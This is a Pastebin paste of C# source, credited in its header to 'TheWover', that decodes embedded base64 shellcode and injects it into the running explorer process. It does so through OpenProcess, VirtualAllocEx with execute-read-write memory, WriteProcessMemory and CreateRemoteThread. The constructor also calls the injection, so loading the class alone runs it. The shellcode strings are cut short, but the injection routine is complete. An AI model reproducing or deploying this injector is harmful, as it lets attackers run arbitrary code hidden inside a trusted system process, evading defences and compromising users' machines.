Guest User

Untitled

a guest
Jan 16th, 2019
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.21 KB | None | 0 0
  1. /* Author: TheWover
  2. Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
  3.  
  4. Last Modified: 11/1/2018
  5. */
  6. using System;
  7. using System.Diagnostics;
  8. using System.Runtime.InteropServices;
  9.  
  10. namespace ShellcodeTest
  11. {
  12. public class Program
  13. {
  14. static string x64 = @"/OjBA...v/V";
  15. static string x86 = @"/OmKA...==";
  16.  
  17. static string target = "explorer";
  18.  
  19. static void Main(string[] args)
  20. {
  21.  
  22. Inject(x86, x64, target);
  23. }
  24.  
  25. public Program()
  26. {
  27.  
  28. Inject(x86, x64, target);
  29. }
  30.  
  31. [DllImport("kernel32.dll")]
  32. public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  33.  
  34. [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
  35. public static extern IntPtr GetModuleHandle(string lpModuleName);
  36.  
  37. [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  38. static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  39.  
  40. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  41. static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
  42. uint dwSize, uint flAllocationType, uint flProtect);
  43.  
  44. [DllImport("kernel32.dll", SetLastError = true)]
  45. static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
  46.  
  47. [DllImport("kernel32.dll")]
  48. static extern IntPtr CreateRemoteThread(IntPtr hProcess,
  49. IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  50.  
  51. const int PROCESS_CREATE_THREAD = 0x0002;
  52. const int PROCESS_QUERY_INFORMATION = 0x0400;
  53. const int PROCESS_VM_OPERATION = 0x0008;
  54. const int PROCESS_VM_WRITE = 0x0020;
  55. const int PROCESS_VM_READ = 0x0010;
  56.  
  57.  
  58. const uint MEM_COMMIT = 0x00001000;
  59. const uint MEM_RESERVE = 0x00002000;
  60. const uint PAGE_READWRITE = 4;
  61. const uint PAGE_EXECUTE_READWRITE = 0x40;
  62.  
  63. public static int Inject(string x86, string x64, string procName)
  64. {
  65. string s;
  66.  
  67. if (IntPtr.Size == 4)
  68. {
  69. s = x86;
  70. }
  71. else
  72. {
  73. s = x64;
  74. }
  75.  
  76. byte[] shellcode = Convert.FromBase64String(s);
  77.  
  78. Process targetProcess = Process.GetProcessesByName(procName)[0];
  79. Console.WriteLine(targetProcess.Id);
  80.  
  81. IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
  82.  
  83. IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  84.  
  85.  
  86. UIntPtr bytesWritten;
  87. WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);
  88.  
  89. CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
  90.  
  91. return 0;
  92. }
  93. }
  94. }
Add Comment
Please, Sign In to add comment